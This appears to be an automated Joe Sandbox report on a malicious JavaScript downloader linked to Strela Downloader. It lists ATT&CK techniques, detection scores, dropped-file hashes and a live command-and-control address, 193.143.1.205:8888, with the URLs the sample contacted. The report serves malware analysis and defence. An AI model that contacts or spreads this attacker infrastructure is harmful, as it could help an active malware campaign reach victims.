Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
929826576149214658.js	3%	Virustotal		Browse
929826576149214658.js	3%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/llZ	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pl	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3332953894.000001956CC00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2137159571.000001956CA10000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/pl	net.exe, 00000007.00000003.2132684275.00000268774BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133862733.00000268774BC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2133746662.0000026877488000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2133862733.00000268774BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133746662.0000026877488000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2132435744.00000268774DB000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/llZ	net.exe, 00000007.00000003.2132684275.00000268774BC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2133862733.00000268774BC000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588031
Start date and time:	2025-01-10 20:46:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	929826576149214658.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 34.237.241.83, 50.16.47.176, 18.213.11.84, 54.224.241.105, 162.159.61.3, 172.64.41.3, 2.23.242.162, 23.209.209.135, 2.16.168.105, 2.16.168.107, 20.109.210.53, 13.107.246.45, 104.76.100.172
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
14:47:17	API Interceptor	20x Sleep call for process: powershell.exe modified
14:47:21	API Interceptor	1x Sleep call for process: net.exe modified
14:47:21	API Interceptor	2x Sleep call for process: svchost.exe modified
14:47:34	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1405043592135725069.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1584816627285206777.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1434827995831320526.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1861217272584230862.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	1926422634111517010.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	143686862513618164.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18444172742706830592.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3253418218787826771.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1713990941768710675.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1340465372044024725.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1358019715229232264.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1053816775239920795.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1272729276326267500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1882131031120212290.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307149699728539
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugL:gJjJGtpTq2yv1AuNZRY3diu8iBVqF9
MD5:	D6A165B2A4361F26472CCE9404A1610D
SHA1:	D60C42FB3458D1F24B4954BE5A2AA2AFBD10D0A1
SHA-256:	0FB040ABECF074FF72DEC185DBD04FF46307750568FFC1010F0555E4651CCE6E
SHA-512:	54FFD0B48661EAA7AB12057E09B5A8EE08E1E79D8995476D6EE8B38F1D67647048436CC48235311CF8347BA4A06B90F328968B6D7D10191728ED5B9A680C339D
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xa0456eea, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585701588195433
Encrypted:	false
SSDEEP:	1536:JSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:Jaza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	99CFD7802F5C0DCA0B3D9255398CF59D
SHA1:	45E871D4696F22D36AFDFCD69A5AEE4FE4F524C8
SHA-256:	71CB3DEF5877BA4CF9C7601D9B90EB45D745C9EAB3EDE31E4A1203A5304415FF
SHA-512:	CE39355C87AA56E5B28FD65F1DF1CD3F3BBFF677F7A5B0B0B2F16458379FC0F911A8F21D6777116099BBE491F05F190F4872EF318BF8201EF397B186CFADB504
Malicious:	false
Preview:	.En.... ...............X\...;...{......................0.z..........{.../...}7.h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{..................................~.(u./...}U..................Y.>./...}U..........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08097656657349644
Encrypted:	false
SSDEEP:	3:utyYeHolekGuAJkhvekl1hTIWbAllrekGltll/SPj:uUzHoltrxlbIWbAJe3l
MD5:	9396B0AAB4F33B9FF3AE49E9E8007B02
SHA1:	35886DE326C68FE70D0EDA9B909DB24979F25141
SHA-256:	F742E49F94D30BA898BA72676B192C63C991FD78D0FA748898D63F6F4F71F69E
SHA-512:	4A8C17DD99C3DBF53A56685BD0DAD34469243F9610433A8A827CAE3F953AF82847F901361C36BC3B22FE2C1E50DE36A5A93E1FA7DBC67135D52AAD0F5A250242
Malicious:	false
Preview:	.......................................;...{.../...}U......{...............{.......{...XL......{...................Y.>./...}U.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.200549692778788
Encrypted:	false
SSDEEP:	6:iO49Y5mq2P92nKuAl9OmbnIFUtS99Zmws9PkwO92nKuAl9OmbjLJ:7WY8v4HAahFUts9/iP5LHAaSJ
MD5:	EC07AD29C7602EBA24591EAEDB20B479
SHA1:	8D5B71810B24CB9E94830EE820A3E488012199B0
SHA-256:	10A0F455402FC511A8E91B1238309DCC248D83E678950D1FD2AD3DF4F14C4257
SHA-512:	A785142A30FCBBF1453A08D19EE3054CCB4E5D7E90149FCD6A83E775A90720E657983B5F06FDBC648A06B9C5EA61CEE58D290A6694BFF60522B282ACC662C801
Malicious:	false
Preview:	2025/01/10-14:47:21.636 f00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:47:21.639 f00 Recovering log #3.2025/01/10-14:47:21.639 f00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.200549692778788
Encrypted:	false
SSDEEP:	6:iO49Y5mq2P92nKuAl9OmbnIFUtS99Zmws9PkwO92nKuAl9OmbjLJ:7WY8v4HAahFUts9/iP5LHAaSJ
MD5:	EC07AD29C7602EBA24591EAEDB20B479
SHA1:	8D5B71810B24CB9E94830EE820A3E488012199B0
SHA-256:	10A0F455402FC511A8E91B1238309DCC248D83E678950D1FD2AD3DF4F14C4257
SHA-512:	A785142A30FCBBF1453A08D19EE3054CCB4E5D7E90149FCD6A83E775A90720E657983B5F06FDBC648A06B9C5EA61CEE58D290A6694BFF60522B282ACC662C801
Malicious:	false
Preview:	2025/01/10-14:47:21.636 f00 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-14:47:21.639 f00 Recovering log #3.2025/01/10-14:47:21.639 f00 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.148283932168602
Encrypted:	false
SSDEEP:	6:iO49IdL+q2P92nKuAl9Ombzo2jMGIFUtS97811Zmws978jLVkwO92nKuAl9Ombzz:7WIdL+v4HAa8uFUts7o/i7oLV5LHAa8z
MD5:	72BE22FACF1FDC85441214601EA6504A
SHA1:	4F53DFB563DF78C999273FF5FA8A42F6C1033F19
SHA-256:	09D476764130405A32FC0A2C5570E602C277481D8EE37A19651DD6DC3F001202
SHA-512:	F146F2A47B4420FE70B4EA965D8B95450582CD68459F58BB99B1A8CB713566EE594BE257B782C43C7A2A175AA737E4A1156C4FBF18A4E68D64F2C470B2D89969
Malicious:	false
Preview:	2025/01/10-14:47:21.724 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:47:21.726 1c7c Recovering log #3.2025/01/10-14:47:21.726 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.148283932168602
Encrypted:	false
SSDEEP:	6:iO49IdL+q2P92nKuAl9Ombzo2jMGIFUtS97811Zmws978jLVkwO92nKuAl9Ombzz:7WIdL+v4HAa8uFUts7o/i7oLV5LHAa8z
MD5:	72BE22FACF1FDC85441214601EA6504A
SHA1:	4F53DFB563DF78C999273FF5FA8A42F6C1033F19
SHA-256:	09D476764130405A32FC0A2C5570E602C277481D8EE37A19651DD6DC3F001202
SHA-512:	F146F2A47B4420FE70B4EA965D8B95450582CD68459F58BB99B1A8CB713566EE594BE257B782C43C7A2A175AA737E4A1156C4FBF18A4E68D64F2C470B2D89969
Malicious:	false
Preview:	2025/01/10-14:47:21.724 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-14:47:21.726 1c7c Recovering log #3.2025/01/10-14:47:21.726 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\3360be17-ae9b-4e6a-8686-15f3bf6513e7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0533356724262175
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPShsBdOg2H7caq3QYiubxnP7E4T3OF+:Y2sRdsGSydMHC3QYhbxP7nbI+
MD5:	65B1BF8B41B4CB761396FD3F7164E50E
SHA1:	A6F0BD792D5B5E4049CA456DBCE07295E7DE8CEB
SHA-256:	C792C76409C9E3C0E36B57AFE9244893FBB9C831D71233EF9A4468860CB04139
SHA-512:	CF015C0B6DBB26A24EDCCBFF8C9BF3377962162CB5AE384C764323CE5DC7DBC5F04CDAE1CE3A7BF0A8766E577066085D49AA413048BF77EFEB09A3F4725CECDE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098454016966","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131509},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0533356724262175
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqPShsBdOg2H7caq3QYiubxnP7E4T3OF+:Y2sRdsGSydMHC3QYhbxP7nbI+
MD5:	65B1BF8B41B4CB761396FD3F7164E50E
SHA1:	A6F0BD792D5B5E4049CA456DBCE07295E7DE8CEB
SHA-256:	C792C76409C9E3C0E36B57AFE9244893FBB9C831D71233EF9A4468860CB04139
SHA-512:	CF015C0B6DBB26A24EDCCBFF8C9BF3377962162CB5AE384C764323CE5DC7DBC5F04CDAE1CE3A7BF0A8766E577066085D49AA413048BF77EFEB09A3F4725CECDE
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381098454016966","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131509},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.2311127388592755
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUF19LXB:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNLi
MD5:	366841A77E4931638FF1D1903C7128AB
SHA1:	5F7244132A3DBA8CF9434A13F2E44274FB4A1622
SHA-256:	ACB7C1D414B1C00F5E5E30D8F0CED9608E2452835A056D852B2AD4FBF4BBCB8C
SHA-512:	C9A0D975E26A69E1093A089D46F33ADCABD62464FD91E3A18F2C9765E11B6E06365C06E7A69AE5C19B4243B622859622504EE0251E2EC62642975408A1C86867
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.198258388087429
Encrypted:	false
SSDEEP:	6:iO491UoL+q2P92nKuAl9OmbzNMxIFUtS92l1Zmws9PVLVkwO92nKuAl9OmbzNMFd:7W1UoL+v4HAa8jFUts2H/idLV5LHAa8E
MD5:	B932DA33C2F8B6BDA806C35089931294
SHA1:	153977E518D101A2FBBCDA4605382ED03528550A
SHA-256:	A0E216B0E2933C1757126FD0F2254A7C145FA78A8F9258FAA7C1BAA9665C8F06
SHA-512:	084234CE4B597C2276100660B3B2F823A64A99B48A7678F7A46F1109AE1668FD167FD4F6EF472FC92BF78AF09F30E4212BA62943B051FF9EC1913F8EDD29B235
Malicious:	false
Preview:	2025/01/10-14:47:21.864 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:47:21.865 1c7c Recovering log #3.2025/01/10-14:47:21.866 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.198258388087429
Encrypted:	false
SSDEEP:	6:iO491UoL+q2P92nKuAl9OmbzNMxIFUtS92l1Zmws9PVLVkwO92nKuAl9OmbzNMFd:7W1UoL+v4HAa8jFUts2H/idLV5LHAa8E
MD5:	B932DA33C2F8B6BDA806C35089931294
SHA1:	153977E518D101A2FBBCDA4605382ED03528550A
SHA-256:	A0E216B0E2933C1757126FD0F2254A7C145FA78A8F9258FAA7C1BAA9665C8F06
SHA-512:	084234CE4B597C2276100660B3B2F823A64A99B48A7678F7A46F1109AE1668FD167FD4F6EF472FC92BF78AF09F30E4212BA62943B051FF9EC1913F8EDD29B235
Malicious:	false
Preview:	2025/01/10-14:47:21.864 1c7c Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-14:47:21.865 1c7c Recovering log #3.2025/01/10-14:47:21.866 1c7c Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklasVctfllXlE/HT8krWNNX8RolJuRdxLlGB9lQRYwpDdt:kKDGceT8ieNMa8RdWBwRd
MD5:	815B69FE04CF7EF83AD9BC468BB3B4CD
SHA1:	391DF1FF8A412EC3A585DACF5E18036F9E558084
SHA-256:	4186E3719643FE2D13A041D3532DE256A6FF314FCEEA566ACDBEC3B0BA73FF84
SHA-512:	4E1B84F65F25FC5BD8950EB10FCBBD9770654166C5B88E1BADBD6E9DD8B4451D29DC42EB10F4AFE7508C15A173930E71B382A5FC0DEF37036409E49D19BC9CFC
Malicious:	false
Preview:	p...... ..........l~.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
